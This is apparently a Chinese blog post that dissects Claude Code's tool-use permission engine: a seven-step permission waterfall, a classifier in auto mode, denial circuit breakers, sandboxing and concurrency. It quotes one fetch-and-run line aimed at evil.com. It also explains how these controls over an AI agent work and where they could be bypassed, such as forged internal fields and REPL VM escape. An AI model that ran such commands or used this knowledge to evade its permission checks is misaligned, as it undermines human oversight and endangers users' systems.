深度解析 Claude Code 的 Tool Use 机制:一个伪装成工具调用框架的权限决策引擎

ClaudeCode 2026年4月7日 23 min read

从源码层面解析 Claude Code 的 Tool Use 架构:7 层瀑布式权限判定、投机性分类器、auto mode 熔断机制、沙箱防线、fail-closed 并发模型,以及 tool result 的上下文预算管理。

大多数开发者对 Claude Code 的 Tool Use 的理解停留在 Anthropic API 文档的那张流程图上:模型输出一个 tool_use block,客户端执行,返回一个 tool_result block,模型继续生成。一个干净的 request-response 循环。

这个理解是对的,但它大约只覆盖了 Claude Code 实际做的事情的 10%。

剩下的 90% 是什么?是一个精密的权限决策引擎——它在每一次工具调用前运行一条 7 层瀑布式判定链,决定这个操作是自动放行、交给 AI 分类器审判、弹窗询问用户、还是直接拒绝。它管理着一个并发执行器,在流式响应还没结束时就开始执行工具。它维护着一个沙箱系统,用操作系统级别的隔离来兜底 AI 的判断失误。它甚至有一个"用 AI 审判 AI"的 auto mode,让一个独立的分类器模型来决定主模型的工具调用是否安全。

这不是一个工具调用框架。这是一个在 AI 自主性和人类控制权之间做动态博弈的决策系统。

理解这个系统的关键不在于它做了什么,而在于它为什么要这样做——每一个设计选择背后,都是"让 AI 足够自由以高效完成任务"和"让人类保持足够控制以防止不可逆损害"之间的张力。

不可能三角:安全性、自主性、响应速度

在设计一个 AI agent 的工具执行系统时,你面临一个经典的不可能三角:

        安全性 (Safety)
           /\
          /  \
         /    \
        /  ??  \
       /________\
 自主性          响应速度
(Autonomy)    (Responsiveness)
  • 安全性 + 自主性:AI 可以自由执行任何操作,但每个操作都经过深度安全分析——代价是响应速度极慢(每次工具调用都要跑一次分类器 side query)
  • 安全性 + 响应速度:每个操作都快速决策,但通过严格的白名单限制 AI 能做什么——代价是自主性受限(用户要不停点"允许")
  • 自主性 + 响应速度:AI 自由且快速地执行一切——代价是安全性为零(bypassPermissions 模式)

Claude Code 的设计选择是:不在三角形的任何一个顶点上,而是根据上下文在三角形内部动态滑动

一个 ls 命令?直接放行,零延迟(响应速度 + 自主性)。一个 rm -rf /?无论什么模式都弹窗拦截(安全性优先)。一个 npm install lodash?取决于你的权限模式——default 模式下询问用户,auto 模式下让分类器判断,bypassPermissions 模式下直接执行。

这种"动态滑动"不是一个简单的 if-else。它是一条精心设计的决策管线,每一层都在不同的维度上做权衡。就像机场安检:不是所有人都要脱鞋过 X 光机,但所有人都要过金属探测门;带液体的要额外检查,VIP 通道可以跳过排队但不能跳过安检本身。

所以 Claude Code 的 Tool Use 机制的核心设计问题不是"如何调用工具",而是"如何决定是否允许调用工具,以及以多快的速度做出这个决定"。

执行管线:一个工具调用的完整生命周期

让我们追踪一个工具调用从诞生到完成的完整路径。当 Claude 模型决定调用一个工具时,API 响应中会包含一个 tool_use content block:

{
  "type": "tool_use",
  "id": "toolu_01abc123",
  "name": "Bash",
  "input": { "command": "npm test" }
}

这个 block 从 API 流式传输到客户端后,经历以下管线:

API Stream → Extract tool_use blocks
                    │
                    ▼
         ┌─────────────────────┐
         │  StreamingToolExecutor │ ← 流式响应未结束就开始执行
         │  or runTools (batch)  │
         └──────────┬──────────┘
                    │
         ┌──────────▼──────────┐
         │   runToolUse()       │ ← 单个工具的完整生命周期
         └──────────┬──────────┘
                    │
    ┌───────────────┼───────────────┐
    ▼               ▼               ▼
 Schema          Validate        Backfill
 Validation      Input           Observable
 (Zod parse)    (tool-specific)  Input
    │               │               │
    └───────┬───────┘───────┬───────┘
            ▼               ▼
     PreToolUse Hooks    Speculative
     (shell commands)    Classifier Check
            │               │
            └───────┬───────┘
                    ▼
         ┌─────────────────────┐
         │  Permission Decision │ ← 7 层瀑布式判定
         │  Engine              │
         └──────────┬──────────┘
                    │
              ┌─────┴─────┐
              ▼           ▼
           allow        deny/ask
              │           │
              ▼           ▼
         tool.call()   Error message
              │        as tool_result
              ▼
     PostToolUse Hooks
              │
              ▼
     mapToolResultToToolResultBlockParam()
              │
              ▼
     processToolResultBlock()  ← 大结果持久化到磁盘
              │
              ▼
     UserMessage { tool_result }
              │
              ▼
     → 下一轮 API 请求

这条管线里有几个不显眼但关键的设计决策。

第一个:Zod schema 验证在权限检查之前。这意味着即使一个工具调用最终会被权限系统拒绝,它的输入也必须先通过类型验证。为什么?因为权限检查本身需要解析输入——Bash 工具的 checkPermissions 需要知道 command 字段的值才能判断这条命令是否匹配 allow/deny 规则。如果输入连 schema 都过不了,权限检查拿到的是垃圾数据,判断结果不可信。所以验证必须在前。

第二个:PreToolUse hooks 在权限检查之前运行。这看起来违反直觉——为什么要在还不知道能不能执行的时候就跑 hooks?因为 hooks 本身可以返回权限决策(hookPermissionResult),也可以修改输入(hookUpdatedInput)。一个典型场景:企业部署的 PreToolUse hook 可以拦截所有 git push 命令,强制添加 --no-verify 或者直接拒绝。Hook 的权限决策优先级高于规则系统——但不高于 deny 规则和 safety check。

第三个,也是最精妙的:投机性分类器检查(speculative classifier check)。当系统检测到一个 Bash 工具调用时,它会在 checkPermissionsAndCallTool 的最开始就启动一个分类器 API 调用(startSpeculativeClassifierCheckbashPermissions.ts:1497),与 PreToolUse hooks 和权限检查并行运行。如果最终权限判定结果是"需要询问用户",而分类器已经返回了"允许",用户就不需要等待分类器的延迟。如果权限判定直接放行了(比如命中了 allow 规则),投机性检查的结果就被丢弃。

这就像 CPU 的分支预测:在还不知道是否需要结果的时候就开始计算,赌的是大多数情况下结果会被用到。代价是偶尔浪费一次 API 调用,收益是在需要分类器的场景下节省了几百毫秒到几秒的等待时间。

权限决策引擎:7 层瀑布式判定

权限系统是整个 Tool Use 机制的心脏。hasPermissionsToUseToolInnerpermissions.ts:1158)实现了一条严格有序的判定链,每一层都有明确的语义:

输入: (tool, input, context)
  │
  ├─ 1a. 整个工具被 deny 规则禁止? ──→ deny(不可覆盖)
  │
  ├─ 1b. 整个工具有 ask 规则? ──→ ask(除非沙箱可以自动放行)
  │
  ├─ 1c. 工具自身的 checkPermissions() ──→ 工具级别的细粒度判定
  │      (Bash: 解析命令,逐子命令匹配规则)
  │
  ├─ 1d. 工具实现返回 deny? ──→ deny
  │
  ├─ 1e. 工具需要用户交互且返回 ask? ──→ ask(即使 bypass 模式)
  │
  ├─ 1f. 内容级 ask 规则? ──→ ask(即使 bypass 模式)
  │      (如 Bash(npm publish:*) 匹配)
  │
  ├─ 1g. Safety check(.git/, .claude/, shell configs)? ──→ ask(bypass-immune)
  │
  ├─ 2a. bypassPermissions 模式? ──→ allow
  │
  ├─ 2b. 整个工具在 allow 规则中? ──→ allow
  │
  └─ 3.  以上都不匹配 ──→ passthrough 转为 ask

这个顺序不是随意的。它编码了一个清晰的优先级哲学:

Deny 规则是绝对的。步骤 1a 在最前面,意味着如果管理员通过 policy settings 禁止了某个工具,任何后续逻辑都无法覆盖它。这是"安全性永远优先"的体现。

Safety check 是 bypass-immune 的。步骤 1g 在 2a(bypassPermissions 检查)之前,意味着即使用户选择了"信任一切"的 bypass 模式,修改 .git/ 目录、.claude/ 配置、shell 配置文件这些操作仍然会弹窗询问。这是一个深思熟虑的设计:bypass 模式表达的是"我信任 AI 的代码编辑能力",但不应该被解读为"我信任 AI 修改我的 git 历史和 shell 配置"。

内容级 ask 规则也是 bypass-immune 的。步骤 1f 同样在 2a 之前。如果用户显式配置了 Bash(npm publish:*) 为 ask 规则,即使在 bypass 模式下,npm publish 仍然会询问。这尊重了用户的显式意图——你专门配置了这条规则,说明你认为这个操作需要人工确认,bypass 模式不应该悄悄绕过它。

这三个"bypass-immune"的设计点揭示了一个深层原则:bypass 模式不是"关闭安全系统",而是"在安全系统的保护下最大化自主性"。就像赛车的安全带——你可以开得很快,但安全带不会因为你选择了"竞速模式"就自动解开。

然后是外层包装函数 hasPermissionsToUseToolpermissions.ts:473),它在内层判定之上叠加了模式级别的逻辑:

  • dontAsk 模式:所有 ask 转为 deny——AI 只能做已经被明确允许的事
  • auto 模式:所有 ask 交给 AI 分类器判断——这是最复杂的路径
  • headless 模式:所有 ask 先尝试 PermissionRequest hooks,无响应则 deny

每一种模式都是不可能三角上的一个不同位置。

Auto Mode:用 AI 审判 AI

Auto mode 是整个权限系统中最大胆的设计。它的核心思路是:与其让用户反复点击"允许"按钮,不如训练一个分类器模型来代替用户做判断。

但"用 AI 审判 AI"面临一个根本性的信任问题:如果主模型的判断不可信(所以才需要权限系统),凭什么分类器模型的判断就可信?

Claude Code 的回答是:分类器不需要比主模型更聪明,只需要更保守。分类器的任务不是理解代码逻辑,而是识别危险模式——它是一个"否决权"系统,不是一个"理解力"系统。

具体实现上,auto mode 的判定路径有三层快速通道,避免每次都调用分类器 API:

第一层:acceptEdits 快速路径。在调用分类器之前,系统先模拟 acceptEdits 模式下的权限检查(permissions.ts:606-608)。如果一个操作在 acceptEdits 模式下就会被允许(比如在工作目录内编辑文件),那它在 auto 模式下也应该被允许,不需要浪费一次分类器调用。这个优化的前提假设是:acceptEdits 模式的安全边界是 auto 模式安全边界的子集。

但这里有一个微妙的排除:Agent 工具和 REPL 工具被显式排除在这个快速路径之外(permissions.ts:601-603)。为什么?因为 Agent 的 checkPermissions 在 acceptEdits 模式下返回 allow,但 Agent 可以启动子进程执行任意操作——它的"安全性"取决于子进程的权限检查,不取决于 Agent 工具本身。REPL 工具更危险:它执行的 JavaScript 代码可以包含 VM 逃逸,在内部工具调用之间注入任意逻辑。分类器必须看到完整的 REPL 代码才能判断安全性。

第二层:安全工具白名单。某些工具(如 Glob、Grep、TaskCreate)被硬编码为"安全",直接放行。这些工具的共同特征是:只读、无副作用、不涉及外部系统。

第三层:transcript classifier。如果前两层都没有命中,系统才会调用分类器。分类器是一个独立的 Claude API 调用(side query),它接收完整的对话上下文和当前的工具调用,输出 allow 或 deny 的判断。

这里最精妙的设计是 denial tracking 熔断机制denialTracking.ts):

export const DENIAL_LIMITS = {
  maxConsecutive: 3,   // 连续拒绝 3 次
  maxTotal: 20,        // 累计拒绝 20 次
} as const

export function shouldFallbackToPrompting(state: DenialTrackingState): boolean {
  return (
    state.consecutiveDenials >= DENIAL_LIMITS.maxConsecutive ||
    state.totalDenials >= DENIAL_LIMITS.maxTotal
  )
}

如果分类器连续拒绝了 3 次工具调用,或者在整个会话中累计拒绝了 20 次,系统会自动降级到交互式提示模式——让用户来做决定。

这个熔断机制解决了一个真实的问题:分类器可能过于保守,反复拒绝合理的操作,导致 AI 陷入"想做事但做不了"的死循环。连续 3 次拒绝是一个强信号,说明分类器可能误判了当前场景的风险等级。此时把决策权交还给用户,是一种优雅的降级。

同时注意 recordSuccess 的设计:任何一次成功的工具执行都会重置连续拒绝计数器(但不重置累计计数器)。这意味着偶尔的拒绝不会触发熔断,只有持续的拒绝才会。累计 20 次的上限则防止了"拒绝-成功-拒绝-成功"的振荡模式无限持续。

所以 auto mode 的完整决策链是:safety check 豁免 → acceptEdits 快速路径 → 安全工具白名单 → 熔断检查 → 分类器调用 → 降级到用户提示。每一层都在"减少不必要的分类器调用"和"不遗漏危险操作"之间做平衡。

auto mode 的设计哲学可以总结为:信任但验证,验证但不过度验证,过度验证时自动降级

沙箱:当权限系统不够用时

权限系统再精密,也无法覆盖所有场景。一个 bash -c "$(curl -s evil.com/payload)" 命令,在权限系统看来只是一个 bash 调用——它无法预知 curl 下载的内容会做什么。

这就是沙箱存在的理由。Claude Code 使用操作系统级别的沙箱(@anthropic-ai/sandbox-runtime)来隔离 Bash 命令的执行环境,限制文件系统访问和网络请求。

沙箱与权限系统的交互揭示了一个有趣的设计张力。看这段代码(permissions.ts:1189-1206):

// 1b. 整个工具有 ask 规则
const askRule = getAskRuleForTool(appState.toolPermissionContext, tool)
if (askRule) {
  const canSandboxAutoAllow =
    tool.name === BASH_TOOL_NAME &&
    SandboxManager.isSandboxingEnabled() &&
    SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
    shouldUseSandbox(input)

  if (!canSandboxAutoAllow) {
    return { behavior: 'ask', ... }
  }
  // Fall through to let Bash's checkPermissions handle command-specific rules
}

当沙箱启用且 autoAllowBashIfSandboxed 开启时,即使整个 Bash 工具被标记为 ask,沙箱内的命令也可以自动放行。逻辑是:如果命令在沙箱里执行,它能造成的最大损害已经被操作系统限制了,权限系统的"询问"就变得多余。

shouldUseSandboxshouldUseSandbox.ts:130)的实现暴露了这个模型的边界:

export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
  if (!SandboxManager.isSandboxingEnabled()) return false
  if (input.dangerouslyDisableSandbox && 
      SandboxManager.areUnsandboxedCommandsAllowed()) return false
  if (!input.command) return false
  if (containsExcludedCommand(input.command)) return false
  return true
}

dangerouslyDisableSandbox 这个字段的存在本身就是一个设计妥协的标志。它意味着有些命令必须在沙箱外执行——可能是因为它们需要访问沙箱外的文件系统,或者需要网络访问,或者沙箱的文件系统虚拟化会破坏命令的语义。

更有意思的是 containsExcludedCommand:用户可以配置哪些命令不应该被沙箱化。这是一个务实的逃生舱——沙箱不可能完美模拟所有系统行为,当它与某个工具链不兼容时,用户需要一个出口。

同时注意 toolExecution.ts:756-773 中的防御性代码:

// Defense-in-depth: strip _simulatedSedEdit from model-provided Bash input.
if (tool.name === BASH_TOOL_NAME && processedInput && 
    typeof processedInput === 'object' && '_simulatedSedEdit' in processedInput) {
  const { _simulatedSedEdit: _, ...rest } = processedInput
  processedInput = rest
}

_simulatedSedEdit 是权限系统内部使用的字段(用于 sed 编辑的权限审批流程),只应该由权限系统注入,绝不应该由模型提供。这段代码防止模型通过伪造这个字段来绕过权限检查。Schema 的 strictObject 验证理论上已经会拒绝未知字段,但这里做了二次防御——因为如果 schema 验证的实现有 bug,后果是权限绕过,代价太高。

沙箱的设计哲学是:权限系统是策略层的防线,沙箱是机制层的防线。策略可以被绕过(配置错误、规则遗漏),机制不能。两层防线的组合,让系统在任何单点失败时仍然保持安全。

并发模型:保守主义的胜利

当模型在一次响应中调用多个工具时,Claude Code 面临一个并发决策:哪些工具可以并行执行,哪些必须串行?

答案藏在 partitionToolCallstoolOrchestration.ts:91)中:

function partitionToolCalls(toolUseMessages, toolUseContext): Batch[] {
  return toolUseMessages.reduce((acc, toolUse) => {
    const tool = findToolByName(toolUseContext.options.tools, toolUse.name)
    const parsedInput = tool?.inputSchema.safeParse(toolUse.input)
    const isConcurrencySafe = parsedInput?.success
      ? (() => {
          try { return Boolean(tool?.isConcurrencySafe(parsedInput.data)) }
          catch { return false }  // 解析失败 → 保守处理
        })()
      : false  // schema 验证失败 → 保守处理
    // 连续的 concurrency-safe 工具合并为一个批次
    if (isConcurrencySafe && acc[acc.length - 1]?.isConcurrencySafe) {
      acc[acc.length - 1].blocks.push(toolUse)
    } else {
      acc.push({ isConcurrencySafe, blocks: [toolUse] })
    }
    return acc
  }, [])
}

注意 buildTool 的默认值(Tool.ts:783):isConcurrencySafe 默认返回 false。这是一个 fail-closed 设计——如果一个工具没有显式声明自己是并发安全的,系统假设它不是。只有 Read、Glob、Grep 这类纯只读工具会返回 true

分区算法产生的批次序列看起来像这样:

[Read, Read, Grep]  →  并发执行(max concurrency = 10)
[Bash]              →  串行执行(独占)
[Read, Glob]        →  并发执行
[Edit]              →  串行执行(独占)

连续的并发安全工具被合并为一个批次并行执行,遇到非并发安全工具就切换到串行模式。这保证了工具执行的顺序语义:如果模型先调用 Edit 修改文件,再调用 Read 读取同一个文件,Read 一定能看到 Edit 的结果。

StreamingToolExecutorStreamingToolExecutor.ts:40)更进一步:它在模型响应还在流式传输时就开始执行工具。当一个 tool_use block 完整接收后,executor 立即检查是否可以执行:

private canExecuteTool(isConcurrencySafe: boolean): boolean {
  const executingTools = this.tools.filter(t => t.status === 'executing')
  return (
    executingTools.length === 0 ||
    (isConcurrencySafe && executingTools.every(t => t.isConcurrencySafe))
  )
}

规则很简单:如果当前没有工具在执行,或者当前所有执行中的工具都是并发安全的且新工具也是并发安全的,就可以立即开始。否则等待。

最精彩的是 sibling abort 机制。当一个 Bash 工具执行出错时,executor 会通过 siblingAbortController 取消所有并行执行的兄弟工具(StreamingToolExecutor.ts:59)。被取消的工具收到一个合成的错误消息:"Cancelled: parallel tool call errored"

为什么要这样做?因为并行执行的工具之间可能有隐含的依赖关系——模型可能假设它们都会成功。如果其中一个失败了,其他工具的结果可能已经没有意义,继续执行只会浪费时间和资源。更重要的是,失败的工具可能已经改变了系统状态(比如删除了一个文件),继续执行其他工具可能在一个不一致的状态上操作。

但 sibling abort 只取消兄弟工具,不取消整个查询循环——siblingAbortControllertoolUseContext.abortController 的子控制器,abort 不会向上冒泡。这让查询循环可以收集所有工具的结果(包括错误和取消),把完整的信息反馈给模型,让模型决定下一步怎么做。

并发模型的设计总结:默认保守(fail-closed),显式声明并发安全,错误时快速取消兄弟,但不中断整体流程

Tool Result 的上下文管理:一个被忽视的战场

工具执行完成后,结果需要被序列化为 tool_result block 发送回 API。这看起来是一个简单的序列化问题,但实际上是一个精细的上下文窗口管理问题。

核心矛盾是:工具结果可能非常大(一个文件可能有几万行),但上下文窗口是有限的。如果把所有结果原样塞进上下文,几次文件读取就会耗尽 token 预算。

Claude Code 的解决方案是一个三层预算系统(toolLimits.ts):

单工具上限:  50,000 chars (DEFAULT_MAX_RESULT_SIZE_CHARS)
单消息上限: 200,000 chars (MAX_TOOL_RESULTS_PER_MESSAGE_CHARS)
绝对上限:   400,000 bytes (MAX_TOOL_RESULT_BYTES = 100K tokens × 4 bytes)

当工具结果超过单工具上限时,processToolResultBlocktoolResultStorage.ts:205)会把完整结果持久化到磁盘(.claude/ 目录下的 session 文件),然后用一个包含文件路径的摘要替换原始内容。模型收到的不是完整文件内容,而是"结果已保存到 /path/to/file,以下是前 N 行预览"。

单消息上限解决了并行工具的问题:如果 10 个 Read 工具并行执行,每个返回 40K 字符,总共 400K——远超单消息预算。系统会按大小排序,把最大的结果持久化到磁盘,直到总大小降到预算以内。

但这里有一个例外:Read 工具的 maxResultSizeCharsInfinity

这不是 bug,而是一个深思熟虑的设计。Read 工具的结果已经经过了自己的 token budget 控制(它会根据文件大小和上下文窗口动态截断),如果再经过 processToolResultBlock 的持久化,模型会收到一个文件路径而不是文件内容——然后它会调用 Read 来读取那个持久化文件,形成一个无限循环。InfinitymaxResultSizeChars 让 Read 的结果绕过持久化逻辑,直接进入上下文。

getPersistenceThresholdtoolResultStorage.ts:55)的实现确认了这一点:

if (!Number.isFinite(declaredMaxResultSizeChars)) {
  return declaredMaxResultSizeChars  // Infinity → 跳过持久化
}

这个"Infinity 豁免"在 GrowthBook feature flag 之前检查,意味着即使远程配置试图覆盖 Read 工具的阈值,也无法强制它持久化。这是一个硬编码的安全阀,防止配置错误导致无限循环。

Tool result 管理的设计哲学是:上下文窗口是稀缺资源,但不同工具对这个资源的需求优先级不同。Read 工具的结果是模型理解代码的基础,值得占用更多上下文;其他工具的结果可以被摘要化而不丢失关键信息

面试深潜

以下问题可以区分"读过 Claude Code 文档的人"和"读过 Claude Code 源码的人"。

Q1: Claude Code 的权限系统有几层?bypassPermissions 模式能绕过所有权限检查吗?

表面答案:权限系统基于 allow/deny/ask 规则,bypassPermissions 模式跳过所有权限检查。

源码级答案:权限判定是一条 7 步瀑布链(1a-3),bypassPermissions 在步骤 2a,但步骤 1d(工具实现 deny)、1e(需要用户交互)、1f(内容级 ask 规则)、1g(safety check)都在 2a 之前。这意味着即使在 bypassPermissions 模式下,修改 .git/ 目录、显式配置的 Bash(npm publish:*) ask 规则、以及工具自身返回的 deny 决策仍然生效。bypassPermissions 不是"关闭安全系统",而是"在安全系统的保护下最大化自主性"。

追问链

Q: 那 auto mode 下的 safety check 呢?也是 bypass-immune 的吗?

A: 是的,但有区分。safety check 的 decisionReason 有一个 classifierApprovable 字段。classifierApprovable: false 的 safety check(如 .git/ 目录)在 auto mode 下也不会交给分类器,直接要求用户确认。classifierApprovable: true 的(如某些敏感文件路径)会交给分类器判断。这是因为 .git/ 的修改几乎总是危险的,而敏感文件的编辑可能是合理的工作流程的一部分。

Q: 如果在 headless 模式(无 UI)下遇到 bypass-immune 的 safety check 会怎样?

A: 直接 deny。permissions.ts:536-545 显示,如果 shouldAvoidPermissionPrompts 为 true 且遇到不可分类器审批的 safety check,返回 deny 并附带原因说明。Headless 模式下没有用户可以询问,所以唯一安全的选择是拒绝。

Q2: 为什么 StreamingToolExecutor 的 sibling abort 不会中断整个查询循环?

表面答案:因为它只取消并行的工具,不影响主流程。

源码级答案StreamingToolExecutor 创建了一个 siblingAbortController,它是 toolUseContext.abortController 的子控制器(StreamingToolExecutor.ts:59)。子控制器的 abort 不会向上冒泡到父控制器。但每个工具还有自己的 toolAbortController,它是 siblingAbortController 的子控制器。关键在于 toolAbortController 的 abort 事件监听器(StreamingToolExecutor.ts:304-318):如果 abort 原因不是 sibling_error 且父控制器未 aborted 且未 discarded,它会向上冒泡到 toolUseContext.abortController。这意味着用户拒绝权限(permission dialog rejection)会正确地中断整个查询循环,而兄弟工具的错误不会。这个区分是通过 abort reason 的语义来实现的。

追问链

Q: 那 discard() 方法是做什么的?

A: 当 streaming fallback 发生时(比如 API 返回了不完整的响应需要重试),discard() 标记所有待执行和执行中的工具为废弃状态。废弃的工具收到 streaming_fallback 类型的合成错误,而不是 sibling_error。这个区分让模型能理解"这些工具不是因为出错被取消的,而是因为整个响应被重试了"。

Q3: Auto mode 的 acceptEdits 快速路径为什么要排除 Agent 和 REPL 工具?

表面答案:因为这些工具比较危险。

源码级答案:acceptEdits 快速路径的逻辑是:模拟 acceptEdits 模式下的 checkPermissions,如果返回 allow 就跳过分类器。问题在于 Agent 工具的 checkPermissions 在 acceptEdits 模式下返回 allow——因为 Agent 本身只是启动一个子进程,"编辑"发生在子进程内部。但子进程可以执行任意操作,Agent 工具的 allow 不代表子进程的操作是安全的。REPL 工具更微妙:它执行 JavaScript 代码,代码中可以包含 VM 逃逸(vm.runInNewContext 等),在内部工具调用之间注入任意逻辑。分类器需要看到完整的 REPL 代码才能判断安全性,acceptEdits 的"文件编辑安全"假设在这里不成立。

工程启示

Claude Code 的 Tool Use 机制提供了几个可迁移到其他 AI agent 系统的设计模式:

瀑布式权限判定。当你需要在多个维度上做权限决策时,把它们排成一条有序的链,而不是一个扁平的规则集。顺序编码了优先级——deny 在 allow 之前,safety check 在 bypass 之前。这比"所有规则平等,冲突时取最严格"的模型更可预测、更容易调试。适用场景:任何需要多层权限控制的系统。不适用场景:规则之间有复杂的交叉依赖(此时需要更灵活的策略引擎)。

投机性执行。当一个操作可能需要也可能不需要某个昂贵的计算结果时,提前启动计算,赌它会被用到。代价是偶尔浪费资源,收益是在关键路径上节省延迟。适用场景:昂贵计算的结果有较高概率被使用。不适用场景:计算本身有副作用,或者浪费的资源成本高于节省的延迟。

熔断降级。当自动化决策系统连续失败时,自动降级到人工决策。关键参数是连续失败阈值(太低会频繁降级,太高会让用户等太久)和累计失败上限(防止振荡)。Claude Code 选择了 3 次连续 / 20 次累计,这个数字背后的直觉是:3 次连续拒绝几乎肯定意味着分类器误判了场景,而 20 次累计拒绝意味着这个会话的风险模式超出了分类器的训练分布。适用场景:任何有自动化决策 + 人工兜底的系统。

fail-closed 并发。默认假设操作不是并发安全的,要求显式声明。这比 fail-open(默认并发,出问题再修)安全得多,代价是偶尔的不必要串行化。在 AI agent 场景下,并发 bug 的后果(文件损坏、状态不一致)远比串行化的性能损失严重。适用场景:操作有副作用的系统。不适用场景:纯计算、无副作用的管线。

Claude Code 的 Tool Use 机制不是一个完美的系统——它的复杂性本身就是一种成本(1700 行的 toolExecution.ts),它的多层防御有时会让合理的操作变得繁琐。但它展示了一个重要的工程判断:在 AI agent 系统中,"安全地做错事"比"不安全地做对事"更可接受。每一个看似多余的检查、每一个保守的默认值、每一个 bypass-immune 的安全阀,都是这个判断的具体体现。